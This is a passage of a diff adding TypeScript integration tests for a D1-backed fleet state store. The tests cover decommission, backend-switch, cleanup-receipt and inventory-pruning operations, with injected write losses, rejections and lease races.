+              status: 'fulfilled';
+              value?: 'default' | 'present' | 'absent';
+            }>
+          | Readonly<{
+              status: 'rejected';
+              reason: 'error' | 'null' | 'undefined';
+            }>;
+        nextOwnershipFailureOrdinal?: number;
+        seedAtD1?: boolean;
+      }> = {},
+    ) =>
+      probe<BoundedDecommissionProbe>('bounded-decommission-step', {
+        tenantTag: 'advancelost',
+        operation,
+        ...faults,
+      });
+    const started = await step({ kind: 'start' });
+    const discover = await step({
+      kind: 'continue',
+      token: started.result.token,
+    });
+    const verify = await step(
+      { kind: 'continue', token: discover.result.token },
+      { loseWrite: true },
+    );
+    const replay = await step({
+      kind: 'continue',
+      token: discover.result.token,
+    });
+
+    expect(verify).toMatchObject({
+      result: {
+        status: 'pending',
+        token: {
+          version: 1,
+          tenantTag: 'advancelost',
+          environment: 'production',
+          operationId: '00000000-0000-4000-8000-000000000102',
+          revision: 2,
+        },
+      },
+      trace: ['r2-find', 'scan:discover'],
+      phase: 'decommission-advancing',
+      lifecyclePhase: 'application-resources-deleting',
+      intentState: 'verify',
+      revision: 2,
+      generation: 1,
+      resourceStates: ['detach-authorized'],
+      lostWriteCount: 1,
+    });
+    expect(replay).toMatchObject({
+      result: { status: 'pending', token: verify.result.token },
+      trace: [],
+      phase: 'decommission-advancing',
+      lifecyclePhase: 'application-resources-deleting',
+      intentState: 'verify',
+      revision: 2,
+      generation: 1,
+      resourceStates: ['detach-authorized'],
+      lostWriteCount: 0,
+    });
+    expect(replay.claims).toEqual([
+      {
+        resourceType: 'r2-bucket',
+        resourceName: verify.bucketName,
+        resourceRole: 'deployment-r2',
+      },
+      {
+        resourceType: 'worker-script',
+        resourceName: 'advancelost-worker',
+        resourceRole: 'deployment-worker',
+      },
+    ]);
+
+    let current = await step({
+      kind: 'continue',
+      token: verify.result.token,
+    });
+    for (let index = 0; index < 10; index += 1) {
+      if (
+        current.lifecyclePhase === 'application-resources-deleted' &&
+        current.intentState === 'verify'
+      ) {
+        break;
+      }
+      current = await step({
+        kind: 'continue',
+        token: current.result.token,
+      });
+    }
+    expect(current).toMatchObject({
+      result: { status: 'pending' },
+      lifecyclePhase: 'application-resources-deleted',
+      intentState: 'verify',
+      revision: 10,
+      generation: 2,
+      provider: {
+        receiptCommitCount: 0,
+        exportCallCount: 0,
+        deleteCount: 0,
+      },
+    });
+    const preExportVerifyToken = current.result.token;
+
+    await expect(
+      step(
+        { kind: 'continue', token: preExportVerifyToken },
+        { loseReceiptResponse: true },
+      ),
+    ).rejects.toThrow('bounded receipt response lost');
+    await expect(
+      step(
+        { kind: 'continue', token: preExportVerifyToken },
+        { failWriteBeforeCommit: true },
+      ),
+    ).rejects.toThrow('mixed atomic ownership commit');
+    const exported = await step(
+      { kind: 'continue', token: preExportVerifyToken },
+      { loseWrite: true },
+    );
+    expect(exported).toMatchObject({
+      lifecyclePhase: 'database-exported',
+      intentState: 'transitioning',
+      revision: 11,
+      lostWriteCount: 1,
+      provider: {
+        receiptAuthority: 'd1-test://fleet-exports/receipts/v1',
+        receiptOperationId: '00000000-0000-4000-8000-000000000102',
+        receiptCommitCount: 1,
+        exportCallCount: 3,
+        deleteCount: 0,
+      },
+    });
+    const exportReplay = await step({
+      kind: 'continue',
+      token: preExportVerifyToken,
+    });
+    expect(exportReplay).toMatchObject({
+      result: { token: exported.result.token },
+      trace: [],
+      revision: 11,
+      provider: { receiptCommitCount: 1, exportCallCount: 3, deleteCount: 0 },
+    });
+
+    const preDeleteDiscover = await step({
+      kind: 'continue',
+      token: exported.result.token,
+    });
+    const preDeleteVerify = await step({
+      kind: 'continue',
+      token: preDeleteDiscover.result.token,
+    });
+    const barrier = await step(
+      { kind: 'continue', token: preDeleteVerify.result.token },
+      { loseDeleteResponse: true },
+    );
+    expect(barrier).toMatchObject({
+      lifecyclePhase: 'database-deleting',
+      intentState: 'transitioning',
+      revision: 14,
+      trace: [
+        'd1-get',
+        'd1-owner',
+        'scan:verify',
+        'd1-get',
+        'd1-owner',
+        'd1-residuals',
+        'd1-delete',
+        'd1-get',
+      ],
+      provider: {
+        databasePresent: false,
+        receiptCommitCount: 1,
+        exportCallCount: 3,
+        deleteCount: 1,
+      },
+    });
+    const terminal = await step(
+      { kind: 'continue', token: barrier.result.token },
+      { loseWrite: true },
+    );
+    expect(terminal).toMatchObject({
+      result: { status: 'complete' },
+      trace: ['d1-get'],
+      phase: 'decommissioned',
+      lifecyclePhase: 'decommissioned',
+      intentState: 'complete',
+      revision: 15,
+      lostWriteCount: 1,
+      provider: {
+        databasePresent: false,
+        receiptCommitCount: 1,
+        exportCallCount: 3,
+        deleteCount: 1,
+      },
+    });
+    const barrierReplay = await step({
+      kind: 'continue',
+      token: barrier.result.token,
+    });
+    expect(barrierReplay).toMatchObject({
+      result: { status: 'complete', token: terminal.result.token },
+      trace: [],
+      revision: 15,
+      provider: { exportCallCount: 3, deleteCount: 1 },
+    });
+
+    const reset = () =>
+      probe<{ reset: true }>('bounded-decommission-reset', {
+        tenantTag: 'advancelost',
+      });
+    const reachExportVerify = async () => {
+      const startedAtD1 = await step({ kind: 'start' }, { seedAtD1: true });
+      const selected = await step({
+        kind: 'continue',
+        token: startedAtD1.result.token,
+      });
+      return step({
+        kind: 'continue',
+        token: selected.result.token,
+      });
+    };
+    const reachDeleteVerify = async () => {
+      const exportVerify = await reachExportVerify();
+      const exported = await step({
+        kind: 'continue',
+        token: exportVerify.result.token,
+      });
+      const deleteDiscover = await step({
+        kind: 'continue',
+        token: exported.result.token,
+      });
+      return step({
+        kind: 'continue',
+        token: deleteDiscover.result.token,
+      });
+    };
+    await reset();
+    const exportVerify = await reachExportVerify();
+    const expectedClaims = [
+      {
+        resourceType: 'r2-bucket',
+        resourceName: exportVerify.bucketName,
+        resourceRole: 'deployment-r2',
+      },
+      {
+        resourceType: 'worker-script',
+        resourceName: 'advancelost-worker',
+        resourceRole: 'deployment-worker',
+      },
+    ];
+    await expect(
+      step(
+        { kind: 'continue', token: exportVerify.result.token },
+        {
+          nextExportOutcome: { status: 'rejected', reason: 'error' },
+        },
+      ),
+    ).rejects.toThrow('bounded provider injected rejection');
+    const afterExportFailure = await step({ kind: 'start' });
+    expect(afterExportFailure).toMatchObject({
+      lifecyclePhase: 'application-resources-deleted',
+      intentState: 'verify',
+      revision: 2,
+      provider: {
+        receiptCommitCount: 0,
+        exportCallCount: 1,
+        deleteCount: 0,
+      },
+      claims: expectedClaims,
+    });
+    const exportRetry = await step({
+      kind: 'continue',
+      token: afterExportFailure.result.token,
+    });
+    expect(exportRetry).toMatchObject({
+      lifecyclePhase: 'database-exported',
+      intentState: 'transitioning',
+      revision: 3,
+      provider: { receiptCommitCount: 1, exportCallCount: 2, deleteCount: 0 },
+      claims: expectedClaims,
+    });
+
+    const deleteDiscover = await step({
+      kind: 'continue',
+      token: exportRetry.result.token,
+    });
+    const deleteVerify = await step({
+      kind: 'continue',
+      token: deleteDiscover.result.token,
+    });
+    await expect(
+      step(
+        { kind: 'continue', token: deleteVerify.result.token },
+        {
+          nextDeleteOutcome: { status: 'rejected', reason: 'error' },
+          nextReadbackOutcome: { status: 'rejected', reason: 'undefined' },
+        },
+      ),
+    ).rejects.toThrow('"name":"undefined"');
+    const afterReadbackFailure = await step({ kind: 'start' });
+    expect(afterReadbackFailure).toMatchObject({
+      lifecyclePhase: 'database-deleting',
+      intentState: 'transitioning',
+      revision: 6,
+      provider: {
+        databasePresent: true,
+        receiptCommitCount: 1,
+        exportCallCount: 2,
+        deleteCount: 0,
+      },
+      claims: expectedClaims,
+    });
+    let converged = await step({
+      kind: 'continue',
+      token: afterReadbackFailure.result.token,
+    });
+    for (
+      let index = 0;
+      index < 6 && converged.result.status !== 'complete';
+      index += 1
+    ) {
+      converged = await step({
+        kind: 'continue',
+        token: converged.result.token,
+      });
+    }
+    expect(converged).toMatchObject({
+      result: { status: 'complete' },
+      phase: 'decommissioned',
+      revision: 10,
+      provider: { databasePresent: false, deleteCount: 1 },
+      claims: expectedClaims,
+    });
+
+    await reset();
+    const ownershipVerify = await reachDeleteVerify();
+    const ownershipClaims = [
+      {
+        resourceType: 'r2-bucket',
+        resourceName: ownershipVerify.bucketName,
+        resourceRole: 'deployment-r2',
+      },
+      {
+        resourceType: 'worker-script',
+        resourceName: 'advancelost-worker',
+        resourceRole: 'deployment-worker',
+      },
+    ];
+    await expect(
+      step(
+        { kind: 'continue', token: ownershipVerify.result.token },
+        { nextOwnershipFailureOrdinal: 1 },
+      ),
+    ).rejects.toThrow('bounded provider lease ownership transferred');
+    const afterOwnershipFailure = await step({ kind: 'start' });
+    expect(afterOwnershipFailure).toMatchObject({
+      lifecyclePhase: 'database-deleting',
+      intentState: 'transitioning',
+      revision: 6,
+      provider: {
+        databasePresent: true,
+        ownershipAssertionCount: 1,
+        deleteCount: 0,
+      },
+      claims: ownershipClaims,
+    });
+    let ownershipRetry = await step({
+      kind: 'continue',
+      token: afterOwnershipFailure.result.token,
+    });
+    for (
+      let index = 0;
+      index < 6 && ownershipRetry.result.status !== 'complete';
+      index += 1
+    ) {
+      ownershipRetry = await step({
+        kind: 'continue',
+        token: ownershipRetry.result.token,
+      });
+    }
+    expect(ownershipRetry).toMatchObject({
+      result: { status: 'complete' },
+      phase: 'decommissioned',
+      revision: 10,
+      provider: {
+        databasePresent: false,
+        ownershipAssertionCount: 4,
+        deleteCount: 1,
+      },
+      claims: ownershipClaims,
+    });
+    await reset();
+  });
+
+  it('replays a bounded backend-switch operation after D1 write loss', async () => {
+    type Stage = 'start' | 'cursor' | 'receipt' | 'barrier' | 'terminal';
+    interface Result {
+      readonly lostWriteCount: number;
+      readonly phase: string;
+      readonly switchSubphase: string;
+      readonly shellState: string;
+      readonly shellRevision: number;
+      readonly lifecyclePhase: string;
+      readonly scanStage?: string;
+      readonly databaseExportLocation?: string;
+      readonly columnsPresent: boolean;
+    }
+    await probe<{ reset: true }>('bounded-backend-switch-write-step', {
+      stage: 'reset',
+    });
+    const step = (stage: Stage, loseWrite = true) =>
+      probe<Result>('bounded-backend-switch-write-step', {
+        stage,
+        loseWrite,
+      });
+
+    await expect(step('start')).resolves.toMatchObject({
+      lostWriteCount: 1,
+      phase: 'decommission-advancing',
+      switchSubphase: 'decommission-export-authorized',
+      shellState: 'transitioning',
+      shellRevision: 0,
+      lifecyclePhase: 'application-resources-deleted',
+      columnsPresent: true,
+    });
+    await expect(step('cursor')).resolves.toMatchObject({
+      lostWriteCount: 1,
+      switchSubphase: 'decommission-export-authorized',
+      shellState: 'discover',
+      shellRevision: 1,
+      scanStage: 'ordinary-script-inventory',
+      columnsPresent: true,
+    });
+    await expect(step('receipt')).resolves.toMatchObject({
+      lostWriteCount: 1,
+      switchSubphase: 'decommission-exported',
+      shellState: 'transitioning',
+      shellRevision: 2,
+      lifecyclePhase: 'database-exported',
+      databaseExportLocation:
+        'memory://fleet-exports/backend-switch/switchlost.sql',
+      columnsPresent: true,
+    });
+    await expect(step('barrier')).resolves.toMatchObject({
+      lostWriteCount: 1,
+      switchSubphase: 'decommission-database-authorized',
+      shellRevision: 3,
+      lifecyclePhase: 'database-deleting',
+      columnsPresent: true,
+    });
+    await expect(step('terminal')).resolves.toMatchObject({
+      lostWriteCount: 1,
+      phase: 'decommissioned',
+      switchSubphase: 'decommissioned',
+      shellState: 'complete',
+      shellRevision: 4,
+      lifecyclePhase: 'decommissioned',
+      databaseExportLocation:
+        'memory://fleet-exports/backend-switch/switchlost.sql',
+      columnsPresent: true,
+    });
+
+    await probe<{ reset: true }>('bounded-backend-switch-write-step', {
+      stage: 'reset',
+    });
+  });
+
   it('preserves operation, heartbeat, and release errors for both lease types', async () => {
     const result = await probe<{
       deployment: ProbeError;
@@ -273,4 +1322,1492 @@ describe.sequential('D1FleetStateStore Wrangler harness', {
       ),
     ).resolves.toEqual({ blocked: true, count: 1_100 });
   });
+
+  it('completes a cleanup terminal atomically with a receipt, claims release, and row delete', async () => {
+    const result = await probe<CleanupTerminalProbe>(
+      'cleanup-terminal-receipt',
+    );
+    expect(result.claimsBefore).toBe(1);
+    expect(result.claimsAfter).toBe(0);
+    expect(result.rowAfterTerminal).toBeNull();
+    expect(result.persistedHasCompletedAt).toBe(true);
+  });
+
+  it('refuses a stale cleanup terminal revision without mutating anything', async () => {
+    const result = await probe<CleanupTerminalProbe>(
+      'cleanup-terminal-receipt',
+    );
+    expect(result.stale).toEqual({
+      name: 'Error',
+      message: expect.stringContaining('no matching active cleanup operation'),
+    });
+    expect(result.rowPhaseAfterStale).toBe('cleanup-advancing');
+    expect(result.receiptsAfterStale).toBe(0);
+  });
+
+  it('converges replayed cleanup terminals across evidence key order', async () => {
+    const result = await probe<CleanupTerminalProbe>(
+      'cleanup-terminal-receipt',
+    );
+    expect(result.replayEqual).toBe(true);
+    expect(result.keyOrderReplayEqual).toBe(true);
+  });
+
+  it('refuses conflicting and foreign cleanup terminal receipts', async () => {
+    const result = await probe<CleanupTerminalProbe>(
+      'cleanup-terminal-receipt',
+    );
+    expect(result.conflict).toEqual({
+      name: 'Error',
+      message: expect.stringContaining('cleanup receipt conflict'),
+    });
+    expect(result.foreign).toEqual({
+      name: 'Error',
+      message: expect.stringContaining('cannot write'),
+    });
+  });
+
+  it('keeps historical cleanup receipts across an immediate same-key reprovision', async () => {
+    const result = await probe<CleanupTerminalProbe>(
+      'cleanup-terminal-receipt',
+    );
+    expect(result.reprovisionPhase).toBe('ready');
+    expect(result.survivingOperationId).toBe(
+      '00000000-0000-4000-8000-0000000000aa',
+    );
+  });
+
+  it('fails closed on invalid cleanup receipt prune limits', async () => {
+    const result = await probe<CleanupPruneProbe>('cleanup-receipt-prune');
+    for (const refusal of result.invalid) {
+      expect(refusal).toEqual({
+        name: 'Error',
+        message: expect.stringContaining('limit'),
+      });
+    }
+    expect(result.untouched).toBe(3);
+  });
+
+  it('prunes cleanup receipts in stable database-time order', async () => {
+    const result = await probe<CleanupPruneProbe>('cleanup-receipt-prune');
+    expect(result.nothing).toEqual({ deleted: 0 });
+    expect(result.firstTwo).toEqual({ deleted: 2 });
+    expect(result.remainingAfterFirstTwo).toEqual([
+      '00000000-0000-4000-8000-0000000000a3',
+    ]);
+    expect(result.lowerBound).toEqual({ deleted: 1 });
+    expect(result.rest).toEqual({ deleted: 0 });
+    expect(result.finalCount).toBe(0);
+  });
+
+  it('releases claims and the fleet row through the force deletion path', async () => {
+    const result = await probe<CleanupClaimsProbe>('cleanup-claims-release');
+    expect(result.claimsAfter).toBe(0);
+    expect(result.rowAfter).toBeNull();
+  });
+
+  it('writes every deployment claim under the deployment identity', async () => {
+    const result = await probe<CleanupClaimsProbe>('cleanup-claims-release');
+    expect(result.identities.length).toBeGreaterThan(0);
+    for (const claim of result.identities) {
+      expect(claim.resource_set_key).toBe('deployment:claimsrel:production');
+      expect(claim.platform_plane_identity).toBe(
+        'deployment:claimsrel:production',
+      );
+    }
+  });
+
+  it('initializes the schema under concurrent first writes on fresh D1 storage', async () => {
+    await server.reset();
+    worker = server.getWorker();
+
+    await expect(
+      probe<{
+        written: string[];
+        columns: string[];
+        rows: number;
+        tables: string[];
+      }>('cold-concurrent-schema-initialization'),
+    ).resolves.toEqual({
+      written: Array.from({ length: 16 }, (_, index) => `cold${index}`).sort(),
+      columns: [
+        'backend_switch_intent',
+        'settled_settlement_key',
+        'decommission_intent',
+        'cleanup_intent',
+        'invocation_authority',
+        'wfp_mode',
+      ],
+      rows: 16,
+      tables: [
+        'anchorage_fleet_deployments',
+        'anchorage_fleet_leases',
+        'anchorage_platform_plane_claims',
+        'anchorage_platform_plane_leases',
+      ],
+    });
+  });
+
+  it('inventory maximum mixed chunk retains exact rows and facts through replay and finalization', async () => {
+    const result = await probe<{
+      acceptedRevision: number;
+      replayEqual: boolean;
+      rowsEqual: boolean;
+      factsEqual: boolean;
+      rowCount: number;
+      factCount: number;
+      maxStatements: number;
+      maxBindings: number;
+      maxSqlBytes: number;
+      maxBindingBytes: number;
+    }>('inventory-maximum-chunk');
+    expect(result).toMatchObject({
+      acceptedRevision: 1,
+      replayEqual: true,
+      rowsEqual: true,
+      factsEqual: true,
+      rowCount: 1000,
+      factCount: 1000,
+      maxStatements: 2001,
+    });
+    expect(result.maxBindings).toBeLessThanOrEqual(100);
+    expect(result.maxSqlBytes).toBeLessThanOrEqual(100_000);
+    expect(result.maxBindingBytes).toBeLessThanOrEqual(2_000_000);
+  });
+
+  it('applies the inventory start batch atomically under concurrent stores', async () => {
+    const result = await probe<{
+      started: number;
+      rejected: number;
+      head: {
+        activeOperationId: string | null;
+        latestFinalizedGeneration: number | null;
+        nextGeneration: number;
+      };
+      runs: {
+        operationId: string;
+        generation: number;
+        digestMatches: boolean;
+        finalized: boolean;
+      }[];
+      generation: number;
+    }>('inventory-start-atomicity');
+
+    expect(result.started).toBe(1);
+    expect(result.rejected).toBe(15);
+    expect(result.head).toEqual({
+      activeOperationId: INVENTORY_OPERATION_ID,
+      latestFinalizedGeneration: null,
+      nextGeneration: 2,
+    });
+    expect(result.runs).toEqual([
+      {
+        operationId: INVENTORY_OPERATION_ID,
+        generation: 1,
+        digestMatches: true,
+        finalized: false,
+      },
+    ]);
+    expect(result.generation).toBe(1);
+  });
+
+  it.each([
+    false,
+    true,
+  ])('rolls back cross-account inventory ID collisions (concurrent=%s)', async (concurrent) => {
+    const result = await probe<{
+      operationId: string;
+      nextOperationId: string;
+      winnerAccount: string;
+      loserAccount: string;
+      attempts: Array<
+        | { status: 'fulfilled'; run: FleetInventoryRunRecord }
+        | { status: 'rejected'; error: ProbeError }
+      >;
+      before: InventorySnapshot;
+      afterCollision: InventorySnapshot;
+      refused: ProbeError | null;
+      replay: FleetInventoryRunRecord;
+      busy: ProbeError | null;
+      afterRefusals: InventorySnapshot;
+      next: FleetInventoryRunRecord | null;
+      nextError: ProbeError | null;
+      afterNext: InventorySnapshot;
+    }>('inventory-cross-account-start', { concurrent });
+    expect(result.before.heads).toEqual(
+      ['account-inventory', 'account-inventory-other'].map((account_id) => ({
+        account_id,
+        active_operation_id: null,
+        latest_finalized_generation: 1,
+        next_generation: 2,
+      })),
+    );
+    expect(result.afterCollision.heads).toEqual(
+      result.before.heads.map((head) =>
+        head.account_id === result.winnerAccount
+          ? {
+              ...head,
+              active_operation_id: result.operationId,
+              next_generation: 3,
+            }
+          : head,
+      ),
+    );
+    expect(
+      result.afterCollision.runs.filter(
+        (run) => run.operation_id !== result.operationId,
+      ),
+    ).toEqual(result.before.runs);
+    expect(
+      result.afterCollision.runs.filter(
+        (run) => run.operation_id === result.operationId,
+      ),
+    ).toEqual([
+      {
+        account_id: result.winnerAccount,
+        operation_id: result.operationId,
+        generation: 2,
+        options_digest: result.replay.optionsDigest,
+        run_record: JSON.stringify(result.replay),
+        created_at_ms: expect.any(Number),
+        finalized_at_ms: null,
+      },
+    ]);
+    expect(result.afterCollision.rows).toEqual(result.before.rows);
+    expect(result.afterCollision.facts).toEqual(result.before.facts);
+    expect(result.afterRefusals).toEqual(result.afterCollision);
+    expect(result.next).toMatchObject({
+      operationId: result.nextOperationId,
+      state: 'staging',
+      progress: { generation: 2, revision: 0 },
+    });
+    expect(result.afterNext.heads).toEqual(
+      result.afterCollision.heads.map((head) =>
+        head.account_id === result.loserAccount
+          ? {
+              ...head,
+              active_operation_id: result.nextOperationId,
+              next_generation: 3,
+            }
+          : head,
+      ),
+    );
+    expect(
+      result.afterNext.runs.filter(
+        (run) => run.operation_id !== result.nextOperationId,
+      ),
+    ).toEqual(result.afterCollision.runs);
+    expect(
+      result.afterNext.runs.filter(
+        (run) => run.operation_id === result.nextOperationId,
+      ),
+    ).toEqual([
+      {
+        account_id: result.loserAccount,
+        operation_id: result.nextOperationId,
+        generation: 2,
+        options_digest: result.replay.optionsDigest,
+        run_record: JSON.stringify(result.next),
+        created_at_ms: expect.any(Number),
+        finalized_at_ms: null,
+      },
+    ]);
+    expect(result.afterNext.rows).toEqual(result.before.rows);
+    expect(result.afterNext.facts).toEqual(result.before.facts);
+    expect(
+      result.attempts.filter((entry) => entry.status === 'fulfilled'),
+    ).toEqual([{ status: 'fulfilled', run: result.replay }]);
+    const uniqueError = {
+      message: expect.stringContaining(
+        'UNIQUE constraint failed: anchorage_fleet_inventory_runs.operation_id',
+      ),
+    };
+    expect(
+      result.attempts.filter((entry) => entry.status === 'rejected'),
+    ).toEqual([
+      { status: 'rejected', error: expect.objectContaining(uniqueError) },
+    ]);
+    expect(result.refused).toMatchObject(uniqueError);
+    expect(result.busy).toEqual({
+      name: 'Error',
+      message: `fleet inventory for account '${result.winnerAccount}' has an active operation other than '${result.nextOperationId}'`,
+    });
+    expect(result.nextError).toBeNull();
+  });
+
+  it.each([
+    'rows',
+    'both',
+    'empty',
+  ] as const)('inventory pin availability handles interrupted %s reclamation and cleanup recovery', async (mode) => {
+    const result = await probe<{
+      before: InventorySnapshot;
+      interrupted: ProbeError | null;
+      partial: InventorySnapshot;
+      pin: ProbeError | null;
+      afterPin: InventorySnapshot;
+      pins: Array<{
+        account_id: string;
+        generation: number;
+        pinned_by: string;
+      }>;
+      read: {
+        generation: { rows: unknown[]; facts: unknown[] } | null;
+        error: ProbeError | null;
+      };
+      retried: { deleted: number };
+      afterRetry: InventorySnapshot;
+    }>('inventory-partial-prune', { mode });
+    expect(result.before.runs).toHaveLength(2);
+    expect(
+      result.before.rows.filter((row) => row.generation === 1),
+    ).toHaveLength(mode === 'empty' ? 0 : 3);
+    expect(
+      result.before.facts.filter((row) => row.generation === 1),
+    ).toHaveLength(mode === 'empty' ? 0 : 1);
+    expect(result.partial).toEqual({
+      ...result.before,
+      rows: result.before.rows.filter((row) => row.generation !== 1),
+      facts:
+        mode === 'rows'
+          ? result.before.facts
+          : result.before.facts.filter((row) => row.generation !== 1),
+    });
+    expect(result.afterPin).toEqual(result.partial);
+    expect(result.interrupted).toEqual({
+      name: 'Error',
+      message:
+        "fleet inventory for account 'account-inventory' lease is no longer owned by this operation",
+    });
+    if (mode === 'empty') {
+      expect(result.pin).toBeNull();
+      expect(result.pins).toEqual([
+        { account_id: 'account-inventory', generation: 1, pinned_by: 'reader' },
+      ]);
+      expect(result.read.generation?.rows).toEqual([]);
+      expect(result.read.generation?.facts).toEqual([]);
+      expect(result.read.error).toBeNull();
+    } else {
+      expect(result.pins).toEqual([]);
+      expect(result.pin).toEqual({
+        name: 'Error',
+        message: 'fleet inventory generation 1 is corrupt',
+      });
+      expect(result.read.generation).toBeNull();
+    }
+    expect(result.retried).toEqual({ deleted: 1 });
+    expect(result.afterRetry).toEqual({
+      ...result.before,
+      runs: result.before.runs.filter((row) => row.generation !== 1),
+      rows: result.before.rows.filter((row) => row.generation !== 1),
+      facts: result.before.facts.filter((row) => row.generation !== 1),
+    });
+  });
+
+  it('inventory finalization requires a dense manifest and accepts gap repair', async () => {
+    const result = await probe<{
+      operationId: string;
+      before: InventorySnapshot;
+      afterRefusal: InventorySnapshot;
+      refused: ProbeError | null;
+      final: { rows: Array<{ ordinal: number }>; facts: unknown[] };
+    }>('inventory-dense-finalization');
+    expect(result.afterRefusal).toEqual(result.before);
+    expect(result.refused).toEqual({
+      name: 'Error',
+      message: `fleet inventory run '${result.operationId}' does not match its finalize manifest`,
+    });
+    expect(result.final.rows.map((row) => row.ordinal)).toEqual([0, 1, 2]);
+    expect(result.final.facts).toEqual([]);
+  });
+
+  it.each([
+    'pin',
+    'prune',
+  ] as const)('inventory pin admission preserves the %s winner without orphan protection', async (winner) => {
+    const result = await probe<{
+      before: InventorySnapshot;
+      after: InventorySnapshot;
+      pins: Array<{
+        account_id: string;
+        generation: number;
+        pinned_by: string;
+      }>;
+      pinOutcome: { ok: boolean; error: ProbeError | null };
+      pruneOutcome: { deleted: number | null; error: ProbeError | null };
+      read: {
+        generation: {
+          ref: { generation: number };
+          rows: Array<{ kind: string; ordinal: number; payload: unknown }>;
+          facts: unknown[];
+        } | null;
+        error: ProbeError | null;
+      };
+    }>('inventory-pin-prune-race', { winner });
+    expect(result.before.runs).toHaveLength(2);
+    expect(result.before.rows).toHaveLength(6);
+    expect(result.before.facts).toHaveLength(2);
+    if (winner === 'prune') {
+      expect(result.after).toEqual({
+        ...result.before,
+        runs: result.before.runs.filter((row) => row.generation !== 1),
+        rows: result.before.rows.filter((row) => row.generation !== 1),
+        facts: result.before.facts.filter((row) => row.generation !== 1),
+      });
+      expect(result.pins).toEqual([]);
+      expect(result.pinOutcome).toEqual({
+        ok: false,
+        error: {
+          name: 'Error',
+          message: 'fleet inventory generation 1 is not finalized',
+        },
+      });
+      expect(result.pruneOutcome).toEqual({ deleted: 1, error: null });
+      expect(result.read.generation).toBeNull();
+      expect(result.read.error).not.toBeNull();
+    } else {
+      expect(result.after).toEqual(result.before);
+      expect(result.pins).toEqual([
+        {
+          account_id: 'account-inventory',
+          generation: 1,
+          pinned_by: 'race-reader',
+        },
+      ]);
+      expect(result.pinOutcome).toEqual({ ok: true, error: null });
+      expect(result.pruneOutcome).toEqual({ deleted: 0, error: null });
+      expect(result.read.error).toBeNull();
+      expect(result.read.generation?.ref.generation).toBe(1);
+      expect(result.read.generation?.rows).toEqual(
+        result.before.rows
+          .filter((row) => row.generation === 1)
+          .map((row) => ({
+            kind: row.kind,
+            ordinal: row.ordinal,
+            payload: JSON.parse(row.payload),
+          })),
+      );
+      expect(result.read.generation?.facts).toHaveLength(1);
+    }
+  });
+
+  it('inventory pruning rechecks a late active owner before deleting rows, facts or the run', async () => {
+    const result = await probe<{
+      operationId: string;
+      before: InventorySnapshot;
+      afterPromotion: InventorySnapshot;
+      pruned: { deleted: number };
+      afterPrune: InventorySnapshot;
+    }>('inventory-prune-active-race');
+    expect(result.before.rows).toHaveLength(3);
+    expect(result.before.facts).toHaveLength(1);
+    expect(result.before.runs).toHaveLength(1);
+    expect(JSON.parse(result.before.runs[0]?.run_record ?? 'null').state).toBe(
+      'failed',
+    );
+    expect(result.before.heads).toEqual([
+      {
+        account_id: 'account-inventory',
+        active_operation_id: null,
+        latest_finalized_generation: null,
+        next_generation: 2,
+      },
+    ]);
+    expect(result.afterPromotion).toEqual({
+      ...result.before,
+      heads: [
+        { ...result.before.heads[0], active_operation_id: result.operationId },
+      ],
+    });
+    expect(result.afterPrune).toEqual(result.afterPromotion);
+    expect(result.pruned).toEqual({ deleted: 0 });
+  });
+
+  it('repairs an interrupted inventory failure under a fresh lease without clearing a newer head', async () => {
+    const result = await probe<{
+      staged: FleetInventoryRunRecord;
+      nextOperationId: string;
+      before: InventorySnapshot;
+      interrupted: ProbeError | null;
+      afterInterrupted: InventorySnapshot;
+      pruningBeforeRepair: { deleted: number };
+      afterPruningBeforeRepair: InventorySnapshot;
+      wrongRevision: ProbeError | null;
+      afterWrongRevision: InventorySnapshot;
+      recoveryError: ProbeError | null;
+      afterRecovery: InventorySnapshot;
+      leaseOwners: Array<{ owner_token: string; expires_at: number }>;
+      now: number;
+      next: FleetInventoryRunRecord | null;
+      nextError: ProbeError | null;
+      beforeNewHeadReplay: InventorySnapshot;
+      newHeadReplayError: ProbeError | null;
+      afterNewHeadReplay: InventorySnapshot;
+      prunedInactive: { deleted: number };
+      afterInactivePrune: InventorySnapshot;
+    }>('inventory-failure-recovery');
+    expect(result.staged).toMatchObject({
+      state: 'staging',
+      progress: { generation: 2, revision: 1 },
+    });
+    expect(result.before.heads).toEqual([
+      {
+        account_id: 'account-inventory',
+        active_operation_id: result.staged.operationId,
+        latest_finalized_generation: 1,
+        next_generation: 3,
+      },
+    ]);
+    expect(result.afterInterrupted).toEqual({
+      ...result.before,
+      runs: result.before.runs.map((run) =>
+        run.operation_id === result.staged.operationId
+          ? {
+              ...run,
+              run_record: JSON.stringify({ ...result.staged, state: 'failed' }),
+            }
+          : run,
+      ),
+    });
+    expect(result.afterPruningBeforeRepair).toEqual(result.afterInterrupted);
+    expect(result.pruningBeforeRepair).toEqual({ deleted: 0 });
+    expect(result.afterWrongRevision).toEqual(result.afterInterrupted);
+    expect(result.afterRecovery).toEqual({
+      ...result.afterInterrupted,
+      heads: result.before.heads.map((head) => ({
+        ...head,
+        active_operation_id: null,
+      })),
+    });
+    expect(result.next).toMatchObject({
+      operationId: result.nextOperationId,
+      state: 'staging',
+      progress: { generation: 3, revision: 0 },
+    });
+    expect(result.beforeNewHeadReplay.heads).toEqual([
+      {
+        account_id: 'account-inventory',
+        active_operation_id: result.nextOperationId,
+        latest_finalized_generation: 1,
+        next_generation: 4,
+      },
+    ]);
+    expect(
+      result.beforeNewHeadReplay.runs.filter(
+        (run) => run.operation_id !== result.nextOperationId,
+      ),
+    ).toEqual(result.afterRecovery.runs);
+    expect(
+      result.beforeNewHeadReplay.runs.filter(
+        (run) => run.operation_id === result.nextOperationId,
+      ),
+    ).toEqual([
+      {
+        account_id: 'account-inventory',
+        operation_id: result.nextOperationId,
+        generation: 3,
+        options_digest: result.staged.optionsDigest,
+        run_record: JSON.stringify(result.next),
+        created_at_ms: expect.any(Number),
+        finalized_at_ms: null,
+      },
+    ]);
+    expect(result.beforeNewHeadReplay.rows).toEqual(result.before.rows);
+    expect(result.beforeNewHeadReplay.facts).toEqual(result.before.facts);
+    expect(result.afterNewHeadReplay).toEqual(result.beforeNewHeadReplay);
+    expect(result.afterInactivePrune).toEqual({
+      ...result.afterNewHeadReplay,
+      runs: result.afterNewHeadReplay.runs.filter(
+        (row) => row.generation !== 2,
+      ),
+      rows: result.afterNewHeadReplay.rows.filter(
+        (row) => row.generation !== 2,
+      ),
+      facts: result.afterNewHeadReplay.facts.filter(
+        (row) => row.generation !== 2,
+      ),
+    });
+    expect(result.prunedInactive).toEqual({ deleted: 1 });
+    expect(result.leaseOwners).toHaveLength(2);
+    const [expired, fresh] = result.leaseOwners;
